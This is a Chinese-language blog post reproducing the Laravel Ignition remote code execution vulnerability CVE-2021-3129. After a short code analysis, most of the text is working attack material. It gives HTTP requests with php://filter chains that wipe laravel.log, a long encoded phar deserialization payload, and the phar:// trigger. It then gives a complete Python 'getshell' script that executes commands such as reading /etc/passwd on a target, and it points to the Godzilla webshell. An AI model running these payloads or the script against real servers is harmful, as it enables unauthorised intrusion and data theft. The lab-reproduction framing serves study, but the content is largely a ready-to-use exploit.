Laravel RCE(CVE-2021-3129)漏洞复现

Laravel框架简介

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。
在Laravel中已经具有了一套高级的PHP ActiveRecord实现 – Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样你就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

0x01漏洞概述

当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

0x02影响版本

Laravel <= 8.4.2

0x03环境搭建

1、利用github上已有的镜像环境:使用git下载

git clone https://github.com/SNCKER/CVE-2021-3129

2、进入目录使用docker-compose up -d 拉取镜像
3.在浏览器访问http://your-ip:8888,出现以下界面环境启动成功
在这里插入图片描述
此时访问http://your-ip:8888/,会抛出以下运行异常:No application encryption key has been specified.(未指定应用程序的APP_KEY加密密钥):
在这里插入图片描述
点击Generate app key”按钮后会发送一个请求:

POST /_ignition/execute-solution HTTP/1.1
Host: 139.9.223.157:8080
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

在这里插入图片描述

0x04漏洞分析

打开配置文件 laravel/config/app.php,找到 'debug’项为true(开启debug模式):
在这里插入图片描述
Laravel在第6版之后,debug模式使用了ignition组件来美化堆栈信息,除此之外,ignition还附带了“一键修复bug”的功能,例如:如果我们我们刚才搭建环境的时候出现的那个“未指定应用加密密钥”的报错,我们仅仅点击了“Generate app key”这个按钮,便成功将这个bug修复了。

本次laravel这个漏洞其实就是发生在上面提到的Ignition(<=2.5.1)中,Ignition默认提供了以下几个solutions(位于/laravel/vendor/facade/ignition/src/Solutions目录下)。

GenerateAppKeySolution.php 
RunMigrationsSolution.php
SuggestUsingCorrectDbNameSolution.php
LivewireDiscoverSolution.php          
SolutionTransformer.php
UseDefaultValetDbCredentialsSolution.php

在这里插入图片描述
通过这些solutions,开发者可以类似刚才那样的通过点击按钮的方式,快速修复一些错误。

本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php中的参数过滤不严谨导致的。

首先我们到执行solution的控制器ExecuteSolutionController.php里面中去看看是如何调用solution的:
在这里插入图片描述

先通过getRunnableSolution()方法获取到相应的solution名,然后调用solution对象中的run()方法,并将获取的可控的parameters参数传过去。通过这个点我们就可以调用到MakeViewVariableOptionalSolution::run()了,跟进MakeViewVariableOptionalSolution中的run()方法:

vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php

其中,我们重点关注viewFile这个参数,代码中对它进行了如下处理


    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']);
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents));
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) {
            return false;
        }

        return $newContents;
    }
可以看到这里主要功能点是:读取一个给定的路径$parameters['viewFile'],
并替换读取到的内容中的$variableName$variableName ?? '',
之后写回文件中$parameters['viewFile'],就追加了两个问号。

在这里插入图片描述
追加??之后写回文件中$parameters['viewFile']在这里插入图片描述
由于这里调用了file_get_contents(),且其中的参数可控,所以这里可以通过phar://协议去触发phar反序列化。如果后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,达到RCE的效果。

0x05漏洞检测

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxxxxx:8080
Content-Type: application/json
Content-Length: 168

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "xxxxxxx"
  }
}

没错就是刚才那个修复bug的请求包Generate app key出现如下500状态码界面就基本存在漏洞
在这里插入图片描述

0x06Phar反序列化

使用该exp需要phpggc环境。
该利用方法的核心步骤是将laravel.log里的内容清空,然后利用php://filter/write=写入phar反序列化的payload,最后发送请求利用file_get_contents()去触发phar反序列化。

这里,在清空laravel.log的内容时,作者在文章中提出的思路是使用php://filter中的convert.base64-decode过滤器的特性,将log清空。有的人可能会想到一直convert.base64-decode,直到都为不可见字符解码清空。但是这个做法会有问题。因为base64在解码的时候如果等号后面还有内容则会报错。所以正确的做法是先用convert.iconv.utf-8.utf-16be将utf-8转为utf-16,然后再用convert.quoted-printable-encode打印所有不可见字符,然后再用convert.iconv.utf-16be.utf-8将utf-16转为utf-8,完成上述操作后laravel.log中所有字符转为不可见字符,最后convert.base64-decode即可。
详情请看:https://xz.aliyun.com/t/9030?page=1#toc-6

将上述链条合起来就是:

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable
encode|convert.iconv.utf-16be.utf-8|convert.base64
decode/resource=../storage/logs/laravel.log

0x07漏洞复现

1、在下载GitHub上下载的docker环境中带有exp,使用此exp需要下载phpggc

git clone https://github.com/ambionics/phpggc.git

在这里插入图片描述
。。。。最近好像不挂代理上不去github了,只能下载下来自己传到V@p@s上

我下载下来在服务器上解压的,工具包打包在文末。
在这里插入图片描述
2、给phpggc可执行权限:

 chmod 777 ./phpggc

3、
知道漏洞利用原理后,我们按照如下步骤复现漏洞。

完整的漏洞利用过程

4、安装php7.4

yum install epel-release
rpm -ivh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm
yum --enablerepo=remi install php74-php
php74 -v


卸载的话
yum remove php74-php*

5.用phpggc生成phar序列化利用POC(编码后的)

 php74 -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

得到的POC(编码后的)最后面再加一个a,否则最终laravel.log里面将生成两个POC,导致利用失败:
在这里插入图片描述
6、发送如下数据包,将原日志文件laravel.log清空:

POST /_ignition/execute-solution HTTP/1.1
Host: 139xxx:8080
Content-Type: application/json
Content-Length: 330


{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

7、发送如下数据包,给Log增加一次前缀,用于对齐:

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxx:8080
Content-Type: application/json
Content-Length: 155


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "AA"
 }
}

8.将POC作为viewFile的值,发送数据包

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xxxxx:8080
Content-Type: application/json
Content-Length: 5050


{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
  "variableName":"username",
"viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=6F=00=66=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4F=00=71=00=2B=00=35=00=6D=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=54=00=67=00=6A=00=72=00=5A=00=4C=00=35=00=2F=00=43=00=56=00=58=00=4B=00=44=00=62=00=37=00=76=00=54=00=59=00=6B=00=47=00=48=00=5A=00=6B=00=58=00=6D=00=67=00=4A=00=77=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
 }
}

9、发送如下数据包,清空对log文件中的干扰字符,只留下POC:

POST /_ignition/execute-solution HTTP/1.1
Host:139.xxx:8080
Content-Type: application/json
Content-Length: 290

{
 "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
 "parameters": {
 "variableName": "username",
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
 }
 }

10、使用phar://进行反序列化,执行任意代码(此时需要使用绝对路径):

POST /_ignition/execute-solution HTTP/1.1
Host: 139.xx:8080
Content-Type: application/json
Content-Length: 210

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  }
}

在这里插入图片描述

0x08一键getshell脚本:

1、exp.py
修改exploit.py脚本中的url地址为攻击目标。
需要用到phpgcc

#!/usr/bin/python3
 
import requests as req
import os, uuid
 
 
class Exp:
    __gadget_chains = {
        "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
        "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""",
    }  # phpggc链集合,暂时添加rce1后续再添加其他增强通杀能力
 
    __delimiter_len = 8  # 定界符长度
 
    def __vul_check(self):
        resp = req.get(self.__url, verify=False)
        if resp.status_code != 405 and "laravel" not in resp.text:
            return False
        return True
 
    def __payload_send(self, payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        resp = req.post(self.__url, headers=header, json=data, verify=False)
        # print(resp.text)
        return resp
 
    def __command_handler(self, command):
        """
        因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。
        """
 
        self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len]  # 定界符用于定位页面中命令执行结果的位置。
        # print(delimiter)
        command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter)
        # print(command)
 
        escaped_chars = [' ', '&', '|']  # 我只想到这么多,可自行添加。
        for c in escaped_chars:
            command = command.replace(c, '\\' + c)
        # print(command)
        return command
 
    def __clear_log(self):
        return self.__payload_send(
            "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
 
    def __gen_payload(self, gadget_chain):
        gen_shell = self.__gadget_chains[gadget_chain] % (self.__command)
        # print(gen_shell)
        os.system(gen_shell)
        with open('payload.txt', 'r') as f:
            payload = f.read().replace('\n', '') + 'a'  # 添加一个字符使得两个完整的payload总是只有一个可以正常解码
        os.system("rm payload.txt")
        # print(payload)
        return payload
 
    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")
 
    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")
 
    def __rce(self):
        text = self.__unserialize_log().text
        # print(text)
 
        echo_find = text.find(self.__delimiter)
        # print(echo_find)
        if echo_find >= 0:
            return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)]
        else:
            return "[-] RCE echo is not found."
 
    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('a' * 2)
            self.__payload_send(self.__gen_payload(gadget_chain))
            self.__decode_log()
            print("[*] Result:")
            print(self.__rce())
 
    def __init__(self, target, command):
        self.target = target
        self.__url = req.compat.urljoin(target, "_ignition/execute-solution")
        self.__command = self.__command_handler(command)
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()
 
 
def main():
    Exp("http://127.0.0.1:8888", "cat /etc/passwd")
 
 
if __name__ == '__main__':
    main()

2、exploit.py(需要使用哥斯拉3.0以下链接)
在这里插入图片描述
我用的哥斯拉2.9
在这里插入图片描述

公众号回复"laravel_rce" 获取poc

在这里插入图片描述

posted @ 2022-11-21 21:20  那酒不要留  阅读(5669)  评论(0编辑  收藏  举报
/* 雪花特效 */